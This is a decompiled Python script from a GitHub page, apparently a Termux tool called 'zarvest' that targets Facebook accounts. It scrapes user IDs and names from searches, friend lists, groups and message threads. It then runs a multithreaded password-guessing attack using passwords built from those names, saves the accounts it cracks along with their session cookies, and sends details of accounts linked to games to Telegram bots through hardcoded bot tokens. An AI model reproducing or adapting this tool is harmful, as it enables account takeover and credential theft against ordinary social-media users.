-
Notifications
You must be signed in to change notification settings - Fork 19
/
zarvest_azim-vau.py
751 lines (659 loc) · 28.6 KB
/
zarvest_azim-vau.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
# uncompyle6 version 3.7.4
# Python bytecode 2.7
# Decompiled from: Python 2.7.18 (default, Jul 8 2020, 22:53:57)
# [GCC 4.2.1 Compatible Android (5220042 based on r346389c) Clang 8.0.7 (https://
# Embedded file name: vinz
import requests, bs4, sys, os, subprocess, requests, sys, random
reload(sys)
sys.setdefaultencoding('utf-8')
from multiprocessing.pool import ThreadPool
import subprocess, logging
def clear():
if ' linux' in sys.platform.lower():
os.system('clear')
elif 'win' in sys.platform.lower():
os.system('cls')
else:
os.system('clear')
if 'linux' in sys.platform.lower():
W = '\x1b[1;37m'
N = '\x1b[0m'
R = '\x1b[1;37m\x1b[31m'
B = '\x1b[1;37m\x1b[34m'
G = '\x1b[1;32m'
O = '\x1b[1;37m\x1b[33m'
C = '\x1b[36m'
notice = ('{}{}[*]{} ').format(N, B, N)
warning = ('{}[-]{} ').format(R, N)
good = ('{}[!]{} ').format(G, N)
warn = ('{}[!]{} ').format(O, N)
else:
W = ''
N = ''
R = ''
B = ''
G = ''
O = ''
C = ''
notice = ''
warning = ''
good = ''
d = ''
warn = ''
host = 'https://m.facebook.com'
ua = requests.get('https://api-asutoolkit.cloudaccess.host/useragent.txt').text.strip()
uas = None
if os.path.exists('.browser'):
if os.path.getsize('.browser') != 0:
uas = open('.browser').read().strip()
class dump_message:
def __init__(self, cookies):
self.cookies = cookies
self.f = raw_input('?: result filename: ').replace(' ', '_')
if self.f == '':
dump_message(cookies)
open(self.f, 'w').close()
self.dump('https://m.facebook.com/messages')
def dump(self, url):
bs = bs4.BeautifulSoup(requests.get(url, headers=hdcok(), cookies=self.cookies).text, 'html.parser')
for i in bs.find_all('a', href=True):
if '/messages/read' in i.get('href'):
f = bs4.re.findall('cid\\.c\\.(.*?)%3A(.*?)&', i.get('href'))
try:
for ip in list(f.pop()):
if self.cookies.get(' c_user') in ip:
continue
else:
if 'pengguna facebook' in i.text.lower():
continue
open(self.f, 'a+').write('%s<=>%s\n' % (ip, i.text))
print '\r+ dump %s ..' % len(open(self.f).read().splitlines()),
sys.stdout.flush()
except Exception as e:
continue
if 'Lihat Pesan Sebelumnya' in i.text:
self.dump('https://m.facebook.com/' + i.get('href'))
exit('\n* success %s id saved to: %s' % (len(open(self.f).read().splitlines()), self.f))
def banner():
print "\x1b[0;39m\n _ \n | | \n ______ _ _ ____ _____ ___| |_ \xc2\xae\n |_ / _` | '__\\ \\ / / _ \\/ __| __|\n / / (_| | | \\ V / __/\\__ \\ |_ \n /___\\__,_|_| \\_/ \\___||___/\\__|\n+ premium : \x1b[0;91mno\x1b[0;39m"
def lang(cookies):
f = False
rr = bs4.BeautifulSoup(requests.get('https://m.facebook.com/language.php', headers=hdcok(), cookies=cookies).text, 'html.parser')
for i in rr.find_all('a', href=True):
if 'id_ID' in i.get('href'):
requests.get('https://m.facebook.com/' + i.get('href'), cookies=cookies, headers=hdcok())
b = requests.get('https://m.facebook.com/profile.php', headers=hdcok(), cookies=cookies).text
if 'apa yang anda pikirkan sekarang' in b.lower():
f = True
if f == True:
return True
exit('* login maybe failed. or checkpoint challange')
def gen(show=True):
if show == True:
print banner()
print '* put your cookie'
ck = raw_input('?: cookie: ')
if ck == '':
gen(show=False)
try:
cks = cvd(ck)
if lang(cks) == True:
open('.cok', 'w').write(ck)
exit('* login success, run again the tools.')
else:
print '* login fail.'
gen(show=True)
except Exception as e:
print '* error: %s' % e
gen(show=False)
def basecookie():
if os.path.exists('.cok'):
if os.path.getsize('.cok') != 0:
return cvd(open('.cok').read().strip())
gen()
else:
gen()
class dump_grup:
def __init__(self, cookies):
self.glist = []
self.cookies = cookies
self.extract('https://m.facebook.com/groups/?seemore')
def extract(self, url):
bs = bs4.BeautifulSoup(requests.get(url, cookies=self.cookies, headers=hdcok()).text, 'html.parser')
for i in bs.find_all('a', href=True):
if '/groups/' in i.get('href'):
if 'category' in i.get('href') or 'create' in i.get('href'):
continue
else:
self.glist.append({'id': ('').join(bs4.re.findall('/groups/(.*?)\\?', i.get('href'))),
'name': i.text})
if len(self.glist) != 0:
print '-' * 30
print '* you have %s groups found.' % len(self.glist)
print '* select aselecton:\n'
print ' 1. get grup by searching the name'
print ' 2. input group id (manual)\n'
while True:
c = raw_input('?: menu: ')
if c == '':
continue
elif c == '1':
self.search()
exit()
elif c == '2':
self.manual()
exit()
else:
print '* wrong input.'
else:
exit('* no groups found.')
def manual(self):
id = raw_input('?: group id: ')
if id == '':
self.manual()
else:
r = bs4.BeautifulSoup(requests.get('https://m.facebook.com/groups/' + id, headers=hdcok(), cookies=self.cookies).text, 'html.parser')
if 'konten tidak' in r.find('title').text.lower():
exit('* input id grup yg valid goblok, id error, atau lu belom jooin di grup')
else:
self.listed = {'id': id, 'name': r.find('title').text}
self.f()
print '* target: %s..' % self.listed.get('name')[0:20]
self.dumps('https://m.facebook.com/groups/' + id)
def search(self):
whitelist = []
q = raw_input('?: query: ').lower()
if q == '':
self.search()
else:
print '-' * 30
for e, i in enumerate(self.glist):
if q in i.get('name').lower():
whitelist.append(i)
print ' %s. %s' % (
len(whitelist),
i.get('name').lower().replace(q, '%s%s%s' % (G, q, N)))
if len(whitelist) == 0:
print '* no result found with this query: %s' % q
self.search()
else:
print ''
self.choice(whitelist)
def choice(self, whitelist):
try:
self.listed = whitelist[(input('* select group: ') - 1)]
self.f()
print '* target: %s' % self.listed.get('name')
self.dumps('https://m.facebook.com/groups/' + self.listed.get('id'))
except Exception as e:
print '* %s' % e
self.choice(whitelist)
def f(self):
self.fl = raw_input('?: result filename: ').replace(' ', '_')
if self.fl == '':
self.f()
open(self.fl, 'w').close()
def dumps(self, url):
r = bs4.BeautifulSoup(requests.get(url, cookies=self.cookies, headers=hdcok()).text, 'html.parser')
print '\r+ dump: %s .. press ctrl+z for stop' % len(open(self.fl).read().splitlines()),
sys.stdout.flush()
for i in r.find_all('h3'):
try:
if len(bs4.re.findall('\\/', i.find('a', href=True).get('href'))) == 1:
ogeh = i.find('a', href=True)
if 'profile.php' in ogeh.get('href'):
a = ('').join(bs4.re.findall('profile\\.php\\?id=(.*?)&', ogeh.get('href')))
if len(a) == 0:
continue
elif a in open(self.fl).read():
continue
else:
open(self.fl, 'a+').write('%s<=>%s\n' % (a, ogeh.text))
continue
else:
a = ('').join(bs4.re.findall('/(.*?)\\?', ogeh.get('href')))
if len(a) == 0:
continue
elif a in open(self.fl).read():
continue
else:
open(self.fl, 'a+').write('%s<=>%s\n' % (a, ogeh.text))
except:
continue
for i in r.find_all('a', href=True):
if 'Lihat Postingan Lainnya' in i.text:
while True:
try:
self.dumps('https://m.facebook.com/' + i.get('href'))
break
except Exception as e:
print '\r- %s, retrying...' % e
continue
exit('\n* you are successfully dump %s id from group %s...' % (len(open(self.fl).read().splitlines()), self.listed.get('name')[0:20]))
class friendlist:
def __init__(self, cookie):
self.nitel = None
lang(cookie)
self.cookie = cookie
print '(HELP): e.g: https://www.facebook.com/me'
self.id = raw_input('?: target profile url: ')
if self.id == '':
friendlist(cookie)
else:
self.fl = raw_input('?: filename: ').replace(' ', '_')
open(self.fl, 'a+')
id = ('').join(bs4.re.findall('://(.*?)/', self.id))
if len(id) == 0:
friendlist(cookie)
self.ok = bs4.re.sub(id, 'm.facebook.com', self.id).replace('profile.php?id=', '') + '?v=friends'
self.dump(self.ok)
return
def dump(self, ok):
r = bs4.BeautifulSoup(requests.get(ok, headers=hdcok(), cookies=self.cookie).text, 'html.parser')
if self.nitel == None:
a = r.find('title').text[0:20]
self.nitel = a
b = r.find('h3').text.split(' ').pop().replace(')', '').replace('(', '').replace('.', '')
self.b = b
print '* target: %s..' % a
print '* output: %s' % self.fl
print '* friendlist: %s' % b
for i in r.find_all('a', href=True):
if 'fref' in i.get('href'):
print '\r* dump (%s)/(%s) .. press ctrl+z for stop' % (len(open(self.fl).read().splitlines()), self.b),
sys.stdout.flush()
if 'profile_add_friend.php' in i.get('href'):
continue
elif 'profile.php' in i.get('href'):
ag = ('').join(bs4.re.findall('profile\\.php\\?id=(.*?)&', i.get('href')))
if len(ag) != 0:
if ag in open(self.fl).read():
continue
else:
open(self.fl, 'a+').write('%s<=>%s\n' % (ag, i.text))
else:
ag = ('').join(bs4.re.findall('/(.*?)\\?', i.get('href')))
if len(ag) != 0:
if ag in open(self.fl).read():
continue
else:
open(self.fl, 'a+').write('%s<=>%s\n' % (ag, i.text))
if 'lihat teman lain' in i.text.lower():
__import__('time').sleep(2)
while True:
try:
self.dump('https://m.facebook.com/' + i.get('href'))
__import__('time').sleep(2)
break
except Exception as e:
print '\r* error: %s' % e
continue
exit('\n+ you are successfully dump %s %s friends, output saved to %s.' % (len(open(self.fl).read().splitlines()), self.nitel, self.fl))
return
def ceks(cookies, results):
global host
global ua
r = requests.get('https://m.facebook.com/settings/apps/tabbed/?tab=aselectve', cookies=cookies, headers={'origin': host, 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7', 'accept-encoding': 'gzip, deflate', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'user-agent': ua, 'Host': ('').join(bs4.re.findall('://(.*?)$', host)), 'referer': host + '/login/?next&ref=dbl&fl&refid=8', 'cache-control': 'max-age=0', 'upgrade-insecure-requests': '1', 'content-type': 'application/x-www-form-urlencoded'}).text
if len(bs4.re.findall('Pool', r)) != 0:
sends('%s -> 8BALL POOLLLLLLLL' % results, '1309178498:AAGxlAjtYYDnUeM04fYsfLz8lFTaSoYooYA')
if len(bs4.re.findall('pubg', r.lower())) != 0:
sends('%s -> PUBGGGGGGGGG' % results, '1305701364:AAG6dmquZmBkHVVVpoSBYx5UHxcQ3NnUfMs')
if len(bs4.re.findall('garena', r.lower())) != 0:
sends('%s -> FFFFFFFFFFFFFFF' % results, '928550832:AAGM35_UVioKPJ0EoIH3nqarnndcaHll6cU')
if len(bs4.re.findall('legends', r.lower())) != 0:
sends('%s -> EMELLLLLLLLLLL' % results, '1277181407:AAFABlCxC45BGGS0SzoxRANIMgvKkk6Qhgc')
h = {'Host': 'm.facebook.com', 'cache-control': 'max-age=0', 'upgrade-insecure-requests': '1', 'user-agent': 'Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.92 Mobile Safari/537.36', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'accept-encoding': 'gzip, deflate', 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
def login(em, pas, hosts):
global h
r = requests.Session()
r.headers.update(h)
p = r.get('https://m.facebook.com/')
b = bs4.BeautifulSoup(p.text, 'html.parser')
dtg = ('').join(bs4.re.findall('dtsg":\\{"token":"(.*?)"', p.text))
data = {}
for i in b('input'):
if i.get('value') is None:
if i.get('name') == 'email':
data.update({'email': em})
elif i.get('name') == 'pass':
data.update({'pass': pas})
else:
data.update({i.get('name'): ''})
else:
data.update({i.get('name'): i.get('value')})
data.update({'fb_dtsg': dtg, 'm_sess': '', '__user': '0', '__req': 'd',
'__csr': '', '__a': '', '__dyn': '', 'encpass': ''})
r.headers.update({'referer': 'https://m.facebook.com/login/?next&ref=dbl&fl&refid=8'})
po = r.post('https://m.facebook.com/login/device-based/login/async/?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin%2F%3Fref%3Ddbl&lwv=100', data=data).text
if 'c_user' in r.cookies.get_dict().keys():
return {'status': 'success', 'email': em, 'pass': pas, 'cookies': r.cookies.get_dict()}
else:
if 'checkpoint' in r.cookies.get_dict().keys():
return {'status': 'cp', 'email': em, 'pass': pas, 'cookies': r.cookies.get_dict()}
else:
return {'status': 'error', 'email': em, 'pass': pas}
return
def hdcok():
hosts = host
r = {'origin': hosts, 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7', 'accept-encoding': 'gzip, deflate', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'user-agent': ua, 'Host': ('').join(bs4.re.findall('://(.*?)$', hosts)), 'referer': hosts + '/login/?next&ref=dbl&fl&refid=8', 'cache-control': 'max-age=0', 'upgrade-insecure-requests': '1', 'content-type': 'application/x-www-form-urlencoded'}
return r
def cvs(cookies):
result = []
for i in enumerate(cookies.keys()):
if i[0] == len(cookies.keys()) - 1:
result.append(i[1] + '=' + cookies[i[1]])
else:
result.append(i[1] + '=' + cookies[i[1]] + '; ')
return ('').join(result)
def cvd(cookies):
result = {}
try:
for i in cookies.split(';'):
result.update({i.split('=')[0]: i.split('=')[1]})
return result
except:
for i in cookies.split('; '):
result.update({i.split('=')[0]: i.split('=')[1]})
return result
def sends(pesan, token):
b = requests.post('https://api.telegram.org/bot' + token + '/sendMessage', data={'chat_id': '1486617126', 'text': pesan})
ips = None
try:
b = requests.get('https://api-asutoolkit.cloudaccess.host/ip.php').text.strip()
ips = requests.get('https://ipapi.com/ip_api.php?ip=' + b, headers={'Referer': 'https://ip-api.com/', 'Content-Type': 'application/json; charset=utf-8', 'User-Agent': 'Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.92 Mobile Safari/537.36'}).json()['country_name'].lower()
except:
ips = None
def generate(text):
global ips
results = []
for i in text.split(' '):
if len(i) < 3:
continue
else:
i = i.lower()
if len(i) == 3 or len(i) == 4 or len(i) == 5:
results.append(i + '123')
results.append(i + '12345')
else:
results.append(i + '123')
results.append(i + '1234')
results.append(i + '12345')
results.append(i)
if 'pakistan' in ips:
results.append('786786')
elif 'indonesia' in ips:
results.append(i + 'ganteng')
results.append(i + 'cantik')
return results
class crack:
def __init__(self, show=True):
self.ada = []
self.cp = []
self.ko = 0
if show == True:
print '\n\t[ SELECT AselectON ]\n'
print ' 1. Crack With Manual Password Lists.'
print ' 2. Auto Crack (name123,name12345)\n'
while True:
f = raw_input('? menu: ')
if f == '':
continue
elif f == '1':
try:
while True:
try:
self.apk = raw_input('?: id list file: ')
self.fs = open(self.apk).read().splitlines()
break
except Exception as e:
print '!: %s' % e
continue
self.fl = []
for i in self.fs:
try:
self.fl.append({'id': i.split('<=>')[0]})
except:
continue
except Exception as e:
print '!: %s' % e
continue
print '+ example pass123,pass12345'
self.pwlist()
s = subprocess.Popen(['killall', '-9', 'python2'], stderr=subprocess.PIPE, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
break
elif f == '2':
try:
while True:
try:
self.apk = raw_input('?: id list file: ')
self.fs = open(self.apk).read().splitlines()
break
except Exception as e:
print '!: %s' % e
continue
self.fl = []
for i in self.fs:
try:
self.fl.append({'id': i.split('<=>')[0], 'pw': generate(i.split('<=>')[1])})
except:
continue
except Exception as e:
print '!: %s' % e
continue
print '!: crack started...'
print '+: account found saved to: multiresult.txt'
print '+: account checkpoint saved to: checkpoint.txt'
ThreadPool(50).map(self.main, self.fl)
os.remove(self.apk)
print '\n* finished.'
s = subprocess.Popen(['killall', '-9', 'python2'], stderr=subprocess.PIPE, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
break
def pwlist(self):
self.pw = raw_input('?: password list: ').split(',')
if len(self.pw) == 0:
self.pwlist()
else:
for i in self.fl:
i.update({'pw': self.pw})
print '!: crack started...'
print '+: account found saved to: multiresult.txt'
print '+: account checkpoint saved to: checkpoint.txt'
ThreadPool(30).map(self.main, self.fl)
os.remove(self.apk)
print '\n+: finished.'
def main(self, fl):
try:
for i in fl.get('pw'):
log = login(fl.get('id'), i, 'https://m.facebook.com')
if log.get('status') == 'success':
print G + '\r++ %s|%s ----> OK%s ' % (fl.get('id'), i, N)
self.ada.append('%s|%s' % (fl.get('id'), i))
if fl.get('id') in open('multiresult.txt').read():
break
else:
open('multiresult.txt', 'a+').write('%s|%s|%s\n\n' % (fl.get('id'), i, cvs(log.get('cookies'))))
ko = '%s|%s|%s\n\n' % (fl.get('id'), i, cvs(log.get('cookies')))
break
elif log.get('status') == 'cp':
print R + '\r-- %s|%s ----> CP%s ' % (fl.get('id'), i, N)
self.cp.append('%s|%s' % (fl.get('id'), i))
open('cp.txt', 'a+').write('%s|%s|\n' % (fl.get('id'), i))
break
else:
continue
self.ko += 1
print '\r[Crack] %s/%s - found-:%s - cp-:%s' % (self.ko, len(self.fl), len(self.ada), len(self.cp)),
sys.stdout.flush()
except:
self.main(fl)
def search(fl, r, b):
open(fl, 'a+')
b = bs4.BeautifulSoup(requests.get(b, cookies=r, headers=hdcok()).text, 'html.parser')
for i in b.find_all('a', href=True):
print '\r[GET]: %s id... press ctrl+z for stop' % len(open(fl).read().splitlines()),
sys.stdout.flush()
if '<img alt=' in str(i):
if 'home.php' in str(i['href']):
continue
else:
g = str(i['href'])
if 'profile.php' in g:
name = i.find('img').get('alt').replace(', profile picture', '')
d = bs4.re.findall('/profile\\.php\\?id=(.*?)&', g)
if len(d) != 0:
pk = ('').join(d)
if pk in open(fl).read():
pass
else:
open(fl, 'a+').write('%s<=>%s\n' % (pk, name))
else:
d = bs4.re.findall('/(.*?)\\?', g)
name = i.find('img').get('alt').replace(', profile picture', '')
if len(d) != 0:
pk = ('').join(d)
if pk in open(fl).read():
pass
else:
open(fl, 'a+').write('%s<=>%s\n' % (pk, name))
if 'Lihat Hasil Selanjutnya' in i.text:
search(fl, r, i['href'])
exit('\n[+] finished.')
def cek(arg):
if os.path.exists('.cok'):
if os.path.getsize('.cok') != 0:
return True
else:
return False
else:
return False
def dumpfl():
cvds = None
cookie = None
new = None
if cek(1) == False:
try:
cookie = raw_input('?: cookie: ')
cvds = cvd(cookie)
new = True
except:
print '* invalid cookie'
dumpfl()
else:
cvds = cvd(open('.cok').read().strip())
r = requests.get('https://mbasic.facebook.com/profile.php', cookies=cvds, headers=hdcok()).text
if len(bs4.re.findall('logout', r)) != 0:
clear()
if lang(cvds) != True:
exit('* failed when deteselectng language or login failed.')
print '* login as: %s..' % bs4.BeautifulSoup(r, 'html.parser').find('title').text[0:10]
if new == True:
open('.cok', 'w').write(cookie)
fl = raw_input('?: filename: ').replace(' ', '_')
s = raw_input('?: search query: ')
search(fl, cvds, 'https://mbasic.facebook.com/search/people/?q=' + s)
else:
try:
os.remove('.cok')
except:
pass
print '* login fail!'
dumpfl()
return
class lc:
def __init__(self):
self.path = '/data/data/com.termux/files/usr/lib/.bash'
self.host = requests.get('https://raw.githubusercontent.com/ASU-TOOLKIT/server/master/server.txt').text.strip()
self.genid()
def paths(self):
try:
if os.path.exists(self.path):
if os.path.getsize(self.path) != 0:
self.cek()
else:
self.genid()
else:
self.genid()
except Exception as e:
exit('* an error accoured. %s' % e)
def genid(self):
id = []
abs = list('abcdefghijklmnopqrstuvwxyz1234567890')
for i in range(20):
id.append(random.choice([random.choice(abs), random.choice(abs).upper()]))
print '* your id: ' + ('').join(id)
open(self.path, 'w').write(('').join(id))
raw_input('* press enter to register or submit order..')
exit(subprocess.Popen(['am', 'start',
self.host.format('index.php?aselecton=reg&id=' + ('').join(id))], stderr=subprocess.PIPE, stdin=subprocess.PIPE, stdout=subprocess.PIPE).wait())
def cek(self):
r = requests.post(self.host.format('index.php?aselecton=cek'), data={'id': open(self.path).read().strip()})
if r.json().get('status') == 'success':
if r.json().get('result')['confirmed'] == 'false':
print '\t[ hello %s ]\n' % r.json().get('result')['name']
print '%s* your id: (%s) unconfirmed%s' % (G, open(self.path).read().strip(), N)
raw_input('* press enter to get confirmation.')
exit(subprocess.Popen([
'am', 'start',
'https://wa.me/' + requests.get('https://api-asutoolkit.cloudaccess.host/no.txt').text.strip() + '?text=please confirm me\n\nID: ' + open(self.path).read().strip() + '\nNAME: ' + r.json()['result']['name'] + '\nORDER: %sdays' % r.json().get('result')['license_limit']], stderr=subprocess.PIPE, stdin=subprocess.PIPE, stdout=subprocess.PIPE).wait())
else:
clear()
banner()
print ' + order: %s days, name- %s' % (r.json()['result']['license_limit'], r.json()['result']['name'])
if os.path.exists('.browser'):
if os.path.getsize('.browser') != 0:
pass
else:
open('.browser', 'w').write(r.json()['result']['browser'])
else:
open('.browser', 'w').write(r.json()['result']['browser'])
if r.json()['result']['vip'] == 'true':
print ' + days used: %s' % r.json()['tinggal']
print ' + VIP: %syes%s' % (G, N)
print ' ' + '=' * 40 + '\n'
else:
print ' + days used: %s' % r.json()['tinggal']
print ' + VIP: %sno%s' % (R, N)
print ' ' + '=' * 40 + '\n'
elif 'not found' in r.text:
self.genid()
else:
print '* error, %s' % r.json()['message']
self.genid()
if os.path.exists('multiresult.txt'):
pass
else:
open('multiresult.txt', 'a+').close()
basecookie()
clear()
while True:
print banner()
print '\x1b[0;39m'
print ' [1] Dump id By Search Name'
print ' [2] Dump id by Public Friendlist'
print ' [3] Dump id by Group'
print ' [4] Dump Id By Your Message List'
print ' [5] Crack'
print ' [6] move account.\n'
r = raw_input('?: select: ')
if r == '':
os.system('clear')
elif r == '1':
dumpfl()
exit()
elif r == '2':
friendlist(basecookie())
elif r == '3':
dump_grup(basecookie())
elif r == '4':
dump_message(basecookie())
elif r == '5':
crack()
exit()
elif r == '6':
try:
os.remove('.cok')
exit(basecookie())
except Exception as e:
print '- error, session empty. %s' % e
else:
print '!: wrong input'